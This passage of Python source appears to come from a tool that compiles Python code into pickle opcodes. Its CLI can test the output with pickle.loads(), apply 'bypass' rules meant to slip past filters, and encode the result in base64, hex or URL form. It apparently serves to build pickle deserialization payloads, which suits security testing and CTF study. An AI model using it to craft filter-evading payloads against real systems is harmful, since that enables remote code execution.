f"{put_color(node.targets[0].__class__, 'cyan')} in the left part of {self.code}" 511 | ) 512 | 513 | # 再分析等号右边 514 | # eg: ... = a -> isinstance(node.value, ast.Name) 515 | # eg: ... = 1 -> isinstance(node.value, ast.Constant) 516 | # eg: a = builtins.globals() -> isinstance(node.value, ast.Call) 517 | right_opcode = self._flat(node.value) 518 | self.final_opcode += assign_opcode.replace( 519 | b"{right_opcode}", right_opcode 520 | ) 521 | 522 | self.code = put_color("\n".join( 523 | self.source_code.split('\n') 524 | [node.lineno-1: node.end_lineno] 525 | ), "white") 526 | _generate_opcode() 527 | 528 | def visit_Call(self, node): 529 | # 函数调用 530 | def _generate_opcode(): 531 | self.final_opcode += self._flat(node) 532 | 533 | self.code = put_color("\n".join( 534 | self.source_code.split('\n') 535 | [node.lineno-1:node.end_lineno] 536 | ), "white") 537 | _generate_opcode() 538 | 539 | 540 | class API: 541 | def __init__(self, source_code, firewall_rules={}, optimized=True, transfer=''): 542 | self.source_code = source_code 543 | self.root = ast.parse(self.source_code) 544 | self.firewall_rules = firewall_rules 545 | self.optimized = optimized 546 | self.transfer = transfer 547 | 548 | def _generate(self): 549 | visitor = Visitor( 550 | self.source_code, self.firewall_rules 551 | ) 552 | visitor.visit(self.root) 553 | visitor.souse() 554 | return visitor 555 | 556 | def generate(self): 557 | visitor = Visitor( 558 | self.source_code, 559 | self.firewall_rules, 560 | ) 561 | visitor.visit(self.root) 562 | visitor.souse() 563 | 564 | result = visitor.result 565 | 566 | if self.optimized: 567 | result = visitor.optimize() 568 | 569 | if isinstance(self.transfer, list): 570 | for func in self.transfer: 571 | result = func(result) 572 | 573 | return result 574 | 575 | if self.transfer is None or isinstance(self.transfer, str): 576 | self.transfer = transfer_funcs(self.transfer) 577 | 578 | return self.transfer(result) 579 | 580 | 581 | def cli(): 582 | Init() 583 | print(LOGO) 584 | 585 | parser = argparse.ArgumentParser(description=f'Version: {VERSION}; Running in Py3.x') 586 | parser.add_argument( 587 | "--check", action="store_true", 588 | help="run pickle.loads() to test opcode" 589 | ) 590 | parser.add_argument( 591 | "--no-optimize", action="store_false", 592 | help="do NOT optimize opcode" 593 | ) 594 | group = parser.add_mutually_exclusive_group(required=True) 595 | group.add_argument("-f", "--filename", help=".py source code filename") 596 | group.add_argument( 597 | "--run-test", action="store_true", 598 | help="run test with test/*.py (not startswith `N-`)" 599 | ) 600 | parser.add_argument( 601 | "-p", "--bypass", default=False, 602 | help="try bypass limitation" 603 | ) 604 | parser.add_argument( 605 | "-t", "--transfer", default=None, 606 | help=f"transfer result with: { {i for i in FUNC_NAME.values()} }" 607 | ) 608 | 609 | args = parser.parse_args() 610 | 611 | need_check = args.check 612 | need_optimize = args.no_optimize 613 | run_test = args.run_test 614 | transfer = args.transfer 615 | transfer_func = transfer_funcs(transfer) 616 | 617 | if run_test: 618 | # 代码质量测试模式下 619 | # 不优化 opcode、不执行 opcode、不 bypass 620 | need_optimize = False 621 | need_check = False 622 | bypass = False 623 | directory = os.path.join( 624 | *list(os.path.split(__file__)[:-1])+["test"], 625 | ) 626 | filenames = sorted([ 627 | os.path.join(directory, i) for i in list(os.walk(directory))[0][2] 628 | if not i.startswith("N-") 629 | ]) 630 | else: 631 | filenames = [args.filename] 632 | 633 | print(f'[*] need check: {put_color(need_check, ["gray", "green"][int(need_check)])}') 634 | print(f'[*] need optimize: {put_color(need_optimize, ["gray", "green"][int(need_optimize)])}') 635 | 636 | firewall_rules = {} 637 | bypass = False 638 | if args.bypass: 639 | try: 640 | firewall_rules = json.load(open(args.bypass)) 641 | except Exception as e: 642 | print("\n[!]", put_color(f"{args.bypass} has invalid bypass rules: {e}\n", 'yellow')) 643 | else: 644 | if not firewall_rules: 645 | print("\n[!]", put_color(f"{args.bypass} has no rules\n", 'yellow')) 646 | else: 647 | bypass = True 648 | 649 | print(f'[*] try bypass: {put_color(args.bypass, ["gray", "cyan"][int(bypass)])}') 650 | print(f'[*] transfer function: {put_color(transfer, ["blue", "gray"][bool(bypass)])}\n') 651 | for filename in filenames: 652 | def tip(c): return f'[+] input: {put_color(filename, c)}' 653 | 654 | source_code = open(filename).read() 655 | try: 656 | visitor = API( 657 | source_code, firewall_rules, need_optimize, 658 | )._generate() 659 | except Exception: 660 | print(tip("red"), end="\n\n") 661 | raise 662 | else: 663 | if run_test: 664 | answer = [ 665 | i.replace("# ", "").strip() 666 | for i in source_code.split('\n') if i.strip() 667 | ][-1] 668 | correct = answer == str(visitor.result) 669 | if correct: 670 | print(tip("green")) 671 | continue 672 | else: 673 | print(tip("yellow")) 674 | else: 675 | print(tip("cyan")) 676 | 677 | print(f' [-] raw opcode: {put_color(visitor.result, "green")}') 678 | 679 | if need_optimize: 680 | print(f' [-] optimized opcode: {put_color(visitor.optimize(), "green")}') 681 | 682 | if transfer: 683 | print(f' [-] transfered opcode: {put_color(transfer_func(visitor.optimize()), "green")}') 684 | 685 | elif transfer: 686 | print(f' [-] transfered opcode: {put_color(transfer_func(visitor.result), "green")}') 687 | 688 | if need_check: 689 | print(f' [-] opcode test result: {put_color(visitor.check(), "white")}') 690 | 691 | if run_test: 692 | loc = [ 693 | (i, j) 694 | for i, j in zip(enumerate(str(visitor.result)), enumerate(answer)) 695 | if i[1] != j[1] 696 | ][0][0][0] 697 | answer = ( 698 | put_color(answer[:loc], "green") + 699 | put_color(answer[loc:-1], "yellow") + 700 | put_color(answer[-1], "green") 701 | ) 702 | print(f' [-] answer for test: {answer}') 703 | 704 | print("\n[*] done") 705 | 706 | 707 | VERSION = '3.2' 708 | LOGO = ( 709 | f''' 710 | ██████ ▒█████ █ ██ ██████ ▓█████ 711 | ▒██ ▒ ▒██▒ ██▒ ██ ▓██▒▒██ ▒ ▓█ ▀ 712 | ░ ▓██▄ ▒██░ ██▒▓██ ▒██░░ ▓██▄ ▒███ 713 | ▒ ██▒▒██ ██░▓▓█ ░██░ ▒ ██▒▒▓█ ▄ 714 | ▒██████▒▒░ ████▓▒░▒▒█████▓ ▒██████▒▒░▒████▒ 715 | ▒ ▒▓▒ ▒ ░░ ▒░▒░▒░ ░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░░░ ▒░ ░ 716 | ░ ░▒ ░ ░ ░ ▒ ▒░ ░░▒░ ░ ░ ░ ░▒ ░ ░ ░ ░ ░ 717 | ░ ░ ░ ░ ░ ░ ▒ ░░░ ░ ░ ░ ░ ░ ░ 718 | ░ ░ ░ ░ ░ ░ ░ v{Fore.GREEN}{VERSION}{Style.RESET_ALL} 719 | ''' 720 | .replace('█', put_color('█', "yellow")) 721 | .replace('▒', put_color('▒', "yellow", bold=False)) 722 | .replace('▓', put_color('▓', "yellow")) 723 | .replace('░', put_color('░', "white", bold=False)) 724 | .replace('▀', put_color('▀', "yellow")) 725 | .replace('▄', put_color('▄', "yellow")) 726 | ) 727 | 728 | FUNC_NAME = { 729 | "b64": "base64_encode", 730 | "base64": "base64_encode", 731 | "base64encode": "base64_encode", 732 | 733 | "hex": "hex_encode", 734 | "hexencode": "hex_encode", 735 | 736 | "url": "url_decode", 737 | "urldecode": "url_decode", 738 | } 739 | 740 | if __name__ == '__main__': 741 | cli() 742 | --------------------------------------------------------------------------------